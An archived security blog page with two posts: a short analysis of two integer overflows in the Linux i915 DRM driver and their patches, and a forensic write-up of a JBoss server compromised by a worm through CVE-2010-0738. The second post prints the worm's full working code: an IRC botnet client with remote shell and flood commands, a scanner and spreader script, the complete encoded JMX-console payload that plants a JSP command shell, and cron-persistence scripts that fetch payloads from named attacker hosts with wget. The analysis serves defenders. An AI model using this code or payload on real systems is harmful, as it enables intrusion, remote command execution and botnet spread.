xorl %eax, %eax

Archive for the ‘linux’ Category

Linux kernel DRM Intel i915 Multiple IOCTL Integer Overflows

leave a comment »

A few days ago I was checking the ChangeLog of 3.3.5 release of the Linux kernel. As you can see the issues were reported by Xi Wang and the exact code for the first vulnreability is located at drivers/gpu/drm/i915/i915_gem_execbuffer.c and below you can see the code snippet.

static int
i915_gem_do_execbuffer(struct drm_device *dev, void *data,
                       struct drm_file *file,
                       struct drm_i915_gem_execbuffer2 *args,
                       struct drm_i915_gem_exec_object2 *exec)
{
        drm_i915_private_t *dev_priv = dev->dev_private;
        struct list_head objects;
        struct eb_objects *eb;
        struct drm_i915_gem_object *batch_obj;
        struct drm_clip_rect *cliprects = NULL;
        struct intel_ring_buffer *ring;
        u32 exec_start, exec_len;
        u32 seqno;
        u32 mask;
        int ret, mode, i;
   ...
        if (args->num_cliprects != 0) {
                if (ring != &dev_priv->ring[RCS]) {
                        DRM_ERROR("clip rectangles are only valid with the render ring\n");
                        return -EINVAL;
                }

                cliprects = kmalloc(args->num_cliprects * sizeof(*cliprects),
                                    GFP_KERNEL);
                if (cliprects == NULL) {
                        ret = -ENOMEM;
                        goto pre_mutex_err;
                }

                if (copy_from_user(cliprects,
                                     (struct drm_clip_rect __user *)(uintptr_t)
                                     args->cliprects_ptr,
                                     sizeof(*cliprects)*args->num_cliprects)) {
                        ret = -EFAULT;
                        goto pre_mutex_err;
                }
        }
   ...
        kfree(cliprects);
        return ret;
}

Clearly, the above kmalloc() could result in an integer overflow on 32-bit systems if the user controlled ‘args->num_cliprects’ (controlled through IOCTL) is large enough. Here you can also see how ‘drm_i915_gem_execbuffer2’ structure is defined in include/drm/i915_drm.h header file.

struct drm_i915_gem_execbuffer2 {
        /**
         * List of gem_exec_object2 structs
         */
        __u64 buffers_ptr;
        __u32 buffer_count;

        /** Offset in the batchbuffer to start execution from. */
        __u32 batch_start_offset;
        /** Bytes used in batchbuffer from batch_start_offset */
        __u32 batch_len;
        __u32 DR1;
        __u32 DR4;
        __u32 num_cliprects;
        /** This is a struct drm_clip_rect *cliprects */
        __u64 cliprects_ptr;
#define I915_EXEC_RING_MASK              (7<<0)
#define I915_EXEC_DEFAULT                (0<<0)
#define I915_EXEC_RENDER                 (1<<0)
#define I915_EXEC_BSD                    (2<<0)
#define I915_EXEC_BLT                    (3<<0)

/* Used for switching the constants addressing mode on gen4+ RENDER ring.
 * Gen6+ only supports relative addressing to dynamic state (default) and
 * absolute addressing.
 *
 * These flags are ignored for the BSD and BLT rings.
 */
#define I915_EXEC_CONSTANTS_MASK        (3<<6)
#define I915_EXEC_CONSTANTS_REL_GENERAL (0<<6) /* default */
#define I915_EXEC_CONSTANTS_ABSOLUTE    (1<<6)
#define I915_EXEC_CONSTANTS_REL_SURFACE (2<<6) /* gen4/5 only */
        __u64 flags;
        __u64 rsvd1;
        __u64 rsvd2;
};

The fix was to add the missing checks as shown below.

 		}
 
+		if (args->num_cliprects > UINT_MAX / sizeof(*cliprects)) {
+			DRM_DEBUG("execbuf with %u cliprects\n",
+				  args->num_cliprects);
+			return -EINVAL;
+		}
 		cliprects = kmalloc(args->num_cliprects * sizeof(*cliprects),
 				    GFP_KERNEL);

The second vulnerability is on the same file and it was also reported by Xi Wang. Here is the equivalent code snippet.

int
i915_gem_execbuffer2(struct drm_device *dev, void *data,
                     struct drm_file *file)
{
        struct drm_i915_gem_execbuffer2 *args = data;
        struct drm_i915_gem_exec_object2 *exec2_list = NULL;
        int ret;

        if (args->buffer_count < 1) {
                DRM_ERROR("execbuf2 with %d buffers\n", args->buffer_count);
                return -EINVAL;
        }

        exec2_list = kmalloc(sizeof(*exec2_list)*args->buffer_count,
                             GFP_KERNEL | __GFP_NOWARN | __GFP_NORETRY);
   ...
        ret = copy_from_user(exec2_list,
                             (struct drm_i915_relocation_entry __user *)
                             (uintptr_t) args->buffers_ptr,
                             sizeof(*exec2_list) * args->buffer_count);
   ...
        ret = i915_gem_do_execbuffer(dev, data, file, args, exec2_list);
        if (!ret) {
                /* Copy the new buffer offsets back to the user's exec list. */
                ret = copy_to_user((struct drm_i915_relocation_entry __user *)
                                   (uintptr_t) args->buffers_ptr,
                                   exec2_list,
                                   sizeof(*exec2_list) * args->buffer_count);
                if (ret) {
                        ret = -EFAULT;
                        DRM_ERROR("failed to copy %d exec entries "
                                  "back to user (%d)\n",
                                  args->buffer_count, ret);
                }
        }

        drm_free_large(exec2_list);
        return ret;
}

Here we have an identical possible integer overflow on the kmalloc() call that uses the user controlled ‘args->buffer_count’ (once again controlled through IOCTL). The fix was to add the missing checks.

 	int ret;
 
-	if (args->buffer_count < 1) {
+	if (args->buffer_count < 1 ||
+	    args->buffer_count > UINT_MAX / sizeof(*exec2_list)) {
 		DRM_ERROR("execbuf2 with %d buffers\n", args->buffer_count);
 		return -EINVAL;

It is interesting that I was not able to find any CVE or security advisory for these vulnerabilities apart from the Linux kernel’s ChangeLog.

Written by xorl

May 17, 2012 at 10:13

Posted in linux, vulnerabilities

Hack Analysis (CVE-2010-0738)

with 8 comments

Recently a friend of mine called me to investigate a hacked development server he had for some JBoss application development. I didn’t have enough time so I just cleaned up the server since it was an automated attack and informed him of its status.

Now that I found some time I can write this blog post. Just for clarification, if this was a 0day or some sophisticated hack I would never disclose any information, but since this is a very common, already known, automated attack I’m publishing this blog post.

After logging into the server it was pretty obvious that this was either a script kiddie or an automated/worm/virus attack just by checking the running processes with ‘ps’.

javadev     1779  0.0  0.0 106092  1192 pts/2    S    Feb01   0:00 sh -c ./pns -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6001 100.28.0.0/16 8080 > /tmp/sess_0088025413980486928597bf100
javadev     1780  0.0  0.0 106096   684 pts/2    S    Feb01   0:00 sh -c ./pns -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6001 100.28.0.0/16 8080 > /tmp/sess_0088025413980486928597bf100
javadev     2145  0.0  0.0 106092  1336 pts/2    S    Feb01   0:00 sh -c mkdir ...;cd ...;wget http://myiphone.dyndns-pics.com/a.tar.gz;tar xzf a.tar.gz;sh alfa.sh
javadev     2147  0.0  0.0 133856  1880 pts/2    S    Feb01   0:00 wget http://myiphone.dyndns-pics.com/a.tar.gz
root       14722  0.0  0.0  97788  3848 ?        Ss   Jan12   0:00 sshd: javadev [priv]
javadev    14725  0.0  0.0  97788  1732 ?        S    Jan12   0:00 sshd: javadev@pts/1
javadev    14726  0.0  0.0 108332  1908 pts/1    Ss+  Jan12   0:00 -bash

The first thing I did was to download a.tar.gz on my workstation in order to check it out. From a quick look at this it doesn’t seem like a serious hack. As I said earlier, it’s either a script kiddie or almost certainly some automated attack. The obvious thing to check next based on the simplicity of the attack is how it re-spawns new processes to download the new binaries and execute them.

A quick look in ‘/var/spool/cron/javadev’ file reveals the following cronjobs for the unprivileged user that was running the JBoss Application Server…

[root@somewhere ~]# cat /var/spool/cron/javadev
1 1 10 * * ~/.sysdbs
1 1 24 * * perl ~/.sysync.pl
1 1 24 * * perl ~/.sysync.pl
1 1 10 * * ~/.sysdbs
[root@somewhere ~]#

And by moving to ‘javadev’ user’s home directory I found ‘.sysync.pl’ which was a very simple Perl script slightly obfuscated (no new lines) which you can see here (de-obfuscated):

#!/usr/bin/perl
use IO::Socket::INET;  

my $time=time();  

$time=~/(.*)\d\d\d\d/;  
$i=int($1)*2; 

my $processo = "/usr/share/apache/bin/httpsd";  
my $pid=fork;  
exit if $pid;  

$0="$processo"." "x16;   

my @sops =("localhost","iscvadimswallows.dyndns.biz","webstatzz.twilightparadox.com","westatzo.dyndns-remote.com","suyeifd.dyndns.info","killbilll.twilightparadox.com","myfivecents.dyndns-web.com","its".$i."s.dyndns.info","itsthe".$i."d.strangled.net","eventuallydown.dyndns.biz","localhosting.dyndns.info"); 

my $port=2020*4;  
my $chan="#jbs"; 

my $boxing = `uname -a`;  
$user = `whoami`;  
$boxing =~ s/\r//g;  
$boxing =~ s/\n//g; 
$boxing =~ s/ //g; 
$boxing =~ s/\s//g; 
$user =~ s/\r//g; 
$user =~ s/\n//g;  
$user =~ s/ //g; 
$user =~ s/\s//g;    

while(1) {
 retry:
 my $nick="efd[".int(rand(999999999))."]";
 close($sk);  
 my $server = "";  

 while(length($server)<10) { 
	 $server = $sops[int(rand(12))]; 
 }

 sleep(3); 

 my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry; 
 $sk->autoflush(1); 

 print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";
 print $sk "NICK $nick\r\n";  print $sk "USER ".$user." 8 *  : ".$user."\r\n";  

 while($line = <$sk>)
 { 
	 $line =~ s/\r\n$//;

       	 if ($line=~ /^PING \:(.*)/)
	 {
		 print $sk "PONG :$1\r\n";
       	 }  

	 if($line =~ /welcome\sto/i)
	 {
		 sleep(2); 
		 print $sk "JOIN $chan\r\n"; 
		 sleep(1); 
		 print $sk "PRIVMSG $chan :UserName=$boxing\r\n"; 
	 }  

	 if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/)
	 {
		 $owner=$line;
	       	 $de=$2; 
		
		 if($owner=~/iseee/gi)
		 {
			 @shell=`$de`; 
			 foreach $line (@shell) { 
				 sendsk($sk, "PRIVMSG iseee :$line\r\n"); 
				 sleep(1); 
			 } 
		 } 
	 } 


	 if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/)
	 {
		 $owner=$line; 
		 $url=$2; 
		 $mult=$3;

	       	 if($owner=~/iseee/gi)
		 {
			 $url=~/http:\/\/(.*)\/(.*)/g;   

			 for($xz=0; $xz<=$mult; $xz++) {
				 system("curl ".$url.">/dev/null&");
			       	 `curl "$url">/dev/null&`; 
				 system("wget ".$url.">/dev/null&"); 
				 `wget "$url">/dev/null&`; 
				 system("wget $url>/dev/null&"); 
		       	 }
			 sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n"); 
		 }
	 }   

	 if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/)
	 {
		 $owner=$line; 
		 $url=$2; 
		 $ddata=$3; 
		
		 if($owner=~/iseee/gi)
		 {
			 $url=~/http:\/\/(.*)\/(.*)/g; 
			 $host=$1; 
			 $path=$2;  
		       
			 my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80); 
			 print $sck   "POST /$path HTTP/1.0\r\n" . "Host: $host\r\n" . "Connection: close\r\n" . "Content-Length: ".length($ddata)."\r\n\r\n".$ddata;
		       	 sleep(1); 
			 close($sck);   
			 
			 sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");
		 } 
	 }  
 } 

 }  

 sub sendsk()
 { 
	 if ($#_ == 1)
	 {
		 my $sk = $_[0]; 
		 print $sk "$_[1]\n"; 
	 } 
	 else
	 { 
		 print $sk "$_[0]\n"; 
	 }
 }

This is a very straightforward botnet client code that follows this algorithm:
1) Set username to efd[]
2) Obtain randomly a server of the ones defined in @sops if not hardcoded
3) Wait for 3 seconds and open a connection to this server on port 8080/tcp
4) Send an HTTP POST request (probably used for identification by the server to enable IRC communication)
5) Send NICK IRC command to set the previously defined username
6) Enter the IRC main loop
7) If you receive a PING respond with a PONG to keep the IRC connection alive
8) If you reveive a “welcome” message, join IRC channel #jbs and send the ‘uname -a’ output (with no spaces or new lines)
9) If you receive a message from user ‘iseee’ in the format of “.rsh [command]”, execute it in a shell and send back the output
10) If you receive a message from user ‘iseee’ in the format of “.get [URL] [times]”, download using ‘curl’ or ‘wget’ the provided URL and send back the location of the file
11) If you receive a message from user ‘iseee’ in the format of “.post [URL] [Bytes]”, connect to the given URL on port 80/tcp and send a HTTP POST request with “Content-Length” of the number of Bytes given in the IRC message

This overall simple IRC botnet client is executed through CRON so at least now we know what we are dealing with. Unfortunately, determining how the attacker got access was difficult since JBoss didn’t have any logging (it was just a development server).
However, from personal experience I was fairly convienced that this was the all time classic CVE-2010-0738 and a quick look in /home/javadev/jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml proves me right…

   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console. -->
   <security-constraint>
     <web-resource-collection>
       <web-resource-name>HtmlAdaptor</web-resource-name>
       <description>An example security config that only allows users with the
         role JBossAdmin to access the HTML JMX console web application
       </description>
       <url-pattern>/*</url-pattern>
       <http-method>GET</http-method>
       <http-method>POST</http-method>
     </web-resource-collection>
     <auth-constraint>
       <role-name>JBossAdmin</role-name>
     </auth-constraint>
   </security-constraint>

   <login-config>
      <auth-method>BASIC</auth-method>
      <realm-name>JBoss JMX Console</realm-name>
   </login-config>

For further information on this vulnerability you can check “Bypassing Web Authentication and Authorization with HTTP Verb Tampering” presentation by Arshan Dabirsiaghi of Aspect Security.

Regardless of the botnet, we could see in ‘ps’ above that it was also running some ‘pns’ executable. This is part of the ‘a.tar.gz. binary that it was downloading. So, let’s have a look at this one…

[root@satan jbosshack]# tar xfvz a.tar.gz
bm.c
bm.h
install-sh
ipsort
version.c
Makefile
fix.pl
pnscan.c
alfa.sh
treat.sh
b.pl
[root@satan jbosshack]# ls -l
total 54
-rwxrwx---. 1 root root    97 Feb  3 00:38 alfa.sh
-rwxrwx---. 1 root root 12597 Feb 10 10:46 a.tar.gz
-rwxrwx---. 1 root root  3229 Mar 25  2002 bm.c
-rwxrwx---. 1 root root   460 Mar 23  2002 bm.h
-rwxrwx---. 1 root root  4183 Feb  3 20:34 b.pl
-rwxrwx---. 1 root root  2692 Jan 28 05:15 fix.pl
-rwxrwx---. 1 root root  5598 Mar 25  2002 install-sh
-rwxrwx---. 1 root root   132 Mar 22  2002 ipsort
-rwxrwx---. 1 root root  1680 Jan 28 05:13 Makefile
-rwxrwx---. 1 root root  19774 Jan 28 05:16 pnscan.c
-rwxrwx---. 1 root root  1365 Feb  3 19:58 treat.sh
-rwxrwx---. 1 root root    25 Mar 25  2002 version.c
[root@satan jbosshack]#

Using the information of ‘ps’ shown in the beginning we can see that it follows this order:
1) Make directory named ‘…’ in hacked user’s home directory and move to that directory
2) Download ‘a.tar.gz’ from http://myiphone.dyndns-pics.com/a.tar.gz using ‘wget’
3) Extract ‘a.tar.gz’ to ‘xzf’ directory
4) Execute ‘alfa.sh’ shell script

Based on this we will first have to take a look at ‘alfa.sh’ shell script.

killall -9 perl
rm -f *.txt.*
rm -f *.txt
rm -f *.htm*
killall -9 pns
killall -9 perl
perl b.pl

So, this means that the next script we will have to look at is ‘b.pl’ Perl script. All the newlines were removed as a basic obfuscation. Here is a cleaner version of it.

#!/usr/bin/perl

use IO::Socket; 

my $mm=`ps aux | grep /usr/local/bin/javad | grep -v grep`; 

$ii=`whoami`; 
system("sh treat.sh&"); 

if(length($mm)>260) 
{ 
	die; 
}

my $pr = "/usr/bin/javad";
my $pi=fork; 
exit if $pi;

$0="$pr"." "x16; `make lnx`; 

system("perl fix.pl&");
system("make lnx");

system("rm -f treat.sh;rm -f *.tar.gz;rm -f *.tar.gz.*;rm -f b.pl;rm -f alfa.sh");

$tt = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n";

while(1)
{
       	$px=int(rand(255));
       	$fl="/tmp/sess_0088025413980486928597bf$px"; 
	$pie=int(rand(255));
       	$coin=int(rand(101));

       	if($coin<=49) 
	{ 
		$port=80; 
	} else { 
		$port=8080 
	}

	$syc="./pns -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6001 $px.$pie.0.0/16 $port > $fl"; 
	
	system($syc); 
	open FILE, "$fl" or die; my @tra = <FILE>; 
	close(FILE);

	foreach $pos (@tra) 
	{  
		$pos=~s/\)//;  
		$pos=~s/\(//;  
		$pos=~/(.*)\.(.*)\.(.*)\.(.*)\s\s(.*):\s(.*)80\s/g;  
		
		$it="$1.$2.$3.$4";  
		$it=~s/\s//g;  
		$it=~s/ //g;  
		$it=~s/\t//g;  

		my $crp = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto np;  
		print $crp $tt;  
		$pg = "";
	      	$pg .= $_ while <$crp>; 
		sleep(1);

		if($pg=~/200/||$pg=~/500/)
	       	{
		       	my $sk = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
		       	print $sk "GET /zecmd/zecmd.jsp HTTP/1.0\r\nConnection: Close\r\n\r\n";
		       	$pg = "";
		       	$pg .= $_ while <$sk>;

			if($pg=~/comments/g)
		       	{ 
			       	my $ska = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; 
				print $ska "GET /zecmd/zecmd.jsp?comment=wget+http://myiphone.dyndns-pics.com/a.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n"; 
				sleep(3); 
				close($ska);

				my $skb = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
				print $skb "GET /zecmd/zecmd.jsp?comment=tar+xzvf+a.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n"; 
				sleep(2);
			       	close($skb);
			       
				my $skd = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
			       	print $skd "GET /zecmd/zecmd.jsp?comment=sh+alfa.sh HTTP/1.0\r\nConnection: Close\r\n\r\n";
			       	sleep(2);
			       	close($skd);
		      	} 
		       	np:  close($crp); 
	       	} 
	       	nta: close($sk); 
	}
}

And if you don’t want to read the code, here is what it does:
1) It executes ‘treat.sh’ as a background process
2) If ‘/usr/local/bin/javad’ is already running, it exits
3) Executes Perl script ‘fix.pl’ as a background process
4) Compiles the C files using the included ‘Makefile’ (this time for Linux (see ‘lnx’ argument))
5) Removes ‘*.tar.gz’, ‘treat.sh’, ‘*.tar.gz.*’, ‘b.pl’ and ‘alfa.sh’ files
6) Runs ‘pns’ with options ‘-r JBoss’ (search for this response string), ‘-w “HEAD HTTP/1.0″‘ (write this request string), ‘-t 6100’ (connect/read/write time-out in milliseconds) on ports either 80 or 8080 (randomly selected) against hosts XXX.XXX.0.0/16 where XXX is a random integer from 0 to 255 and saves the result to ‘/tmp/sess_0088025413980486928597bfXXX’ where XXX is a random integer from 0 to 255.
7) Parses the output file
8) If it finds a vulnerable host, it is attacking to it by sending the malicious HEAD request to its JMX console
9) If the server responds with a 200 or 500 code, then sends a ‘GET /zecmd/zecmd.jsp’ request to see if it was successfully infected
10) If this is the case, it uses ‘comments’ parameter to download, extract and execute ‘a.tar.gz’ to the remote host as it did on this one

This means that in order to better understand the worm we have to first see what ‘treat.sh’ shell script does. Again, the script was slightly modified/obfuscated but nothing really special. Here is the de-obfuscated ‘treat.sh’ shell script.

#!/bin/bash

echo '#include <stdio.h>' > sysdbss.c;
echo 'int x=0;' >> sysdbss.c;
echo 'int main()' >> sysdbss.c;
echo '{' >> sysdbss.c;

crontab -l|sort|uniq > /tmp/myc;

echo 'system("wget http://blacknbluesky.strangled.net/a.tar.gz");' >> sysdbss.c;
echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c;
echo 'system("perl b.pl");' >> sysdbss.c;
echo 'system("rm -f a.tar.gz");' >> sysdbss.c;

cat fix.pl > ~/.sysync.pl;

echo 'for(x=0;x<=432;x++)' >> sysdbss.c;
echo '{' >> sysdbss.c;
echo 'sleep(200);' >> sysdbss.c;
echo '}' >> sysdbss.c;
echo 'system("wget http://gettingz.strangled.net/a.tar.gz");' >> sysdbss.c;
echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c;

echo '1 1 24 * * perl ~/.sysync.pl' >> /tmp/myc;
echo 'system("perl b.pl");' >> sysdbss.c;

chmod +x ~/.sysync.pl;

echo 'system("rm -f a.tar.gz");' >> sysdbss.c;
echo 'for(x=0;x<=432;x++)' >> sysdbss.c;
echo '{' >> sysdbss.c;
echo 'sleep(200);' >> sysdbss.c;
echo '}' >> sysdbss.c;
echo 'system("wget http://redtapeworks.dyndns.info/a.tar.gz");' >> sysdbss.c;
echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c;
echo 'system("perl b.pl");' >> sysdbss.c;

echo '1 1 10 * * ~/.sysdbs' >> /tmp/myc;
echo 'system("rm -f a.tar.gz");' >> sysdbss.c;
echo 'return 0;' >> sysdbss.c;
echo '}' >> sysdbss.c;

gcc sysdbss.c -o ~/.sysdbs;
chmod +x ~/.sysdbs;
rm -f sysdbss.c;

crontab /tmp/myc;
rm -f *.tar.gz;
rm -f /tmp/myc;
rm -f *.tar.gz.*;
rm -f treat.sh

And here is what this one does:
1) Constructs file ‘sysdbss.c’
2) File ‘fix.pl’ is copied to ‘~/.sysync.pl’ and the latter file’s permissions are changed to be executable
3) The cronjobs (we saw earlier) is prepared and installed in cron (temporarily stored in /tmp/myc)
4) ‘sysdbss.c’ is compiled using gcc and installed in ‘~/.sysdb’
5) All the temporary files and initial scripts are removed

The constructed ‘sysdbss.c’ file is the following:

#include <stdio.h>

int x=0;
int main()
{

	system("wget http://blacknbluesky.strangled.net/a.tar.gz");
	system("tar xzvf a.tar.gz");
	system("perl b.pl");
	system("rm -f a.tar.gz");

	for(x=0;x<=432;x++)
	{
		sleep(200);
	}

	system("wget http://redtapeworks.dyndns.info/a.tar.gz");
	system("tar xzvf a.tar.gz");
	system("perl b.pl");
	system("rm -f a.tar.gz");
	
	return 0;
}

By now we know exactly what files have been altered, how was our system infected as well as how the worm is spreading and what is used for. However, we still miss some crucial points. Let’s see how the vulenrability was exploited. We have the malicious HTTP payload which is URL encoded. Here is the encoded one:

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n

And here is the decoded one in a more readable form…

HEAD /jmx-console/HtmlAdaptor

action=invokeOpByName
name=jboss.admin:service=DeploymentFileRepository
methodName=store

argType=java.lang.String

arg0=zecmd.war
argType=java.lang.String

arg1=zecmd
argType=java.lang.String

arg2=.jsp
argType=java.lang.String

arg3=
<%@ page import="java.util.*,java.io.*"%> 
<% %>
<HTML>
	<BODY> 
		<FORM METHOD="GET" NAME="comments" ACTION=""> 
			<INPUT TYPE="text" NAME="comment"> 
			<INPUT TYPE="submit" VALUE="Send"> 
		</FORM> 

		<pre> 
			<% 
				if (request.getParameter("comment") != null) 
				{ 
					out.println("Command: " + request.getParameter("comment") + "<BR>"); 
					Process p = Runtime.getRuntime().exec(request.getParameter("comment")); 
					OutputStream os = p.getOutputStream(); 
					InputStream in = p.getInputStream(); 
					DataInputStream dis = new DataInputStream(in); 
					String disr = dis.readLine();
					while ( disr != null ) 
					{ 
						out.println(disr); 
						disr = dis.readLine(); 
					} 
				} 
			%> 
		</pre> 
	</BODY>
</HTML>

argType=boolean
arg4=True HTTP/1.0\r\n\r\n

It’s a call to invokeOpByName() routine with request type of “DeploymentFileRepository” in order to deploy a new WAR file named ‘zecmd.war’ that includes a JSP web page named ‘zecmd.jsp’ which is a common JSP based shell that executes anything passed to it through “comment” parameter. This is using the misconfigured JMX console we saw earlier to execute this HEAD request and install this JSP backdoor.

Now that we also know exactly how system was exploited the only thing left is to check out the rest of the files that are used in this worm. Just for reference, here is the ‘Makefile’ used to compile the C programs included in the TAR archive.

# Makefile for pnscan

DESTDIR=/usr/local

BINDIR=$(DESTDIR)/bin
MANDIR=$(DESTDIR)/man
MAN1DIR=$(MANDIR)/man1

TAR=tar
GZIP=gzip
MAKE=make
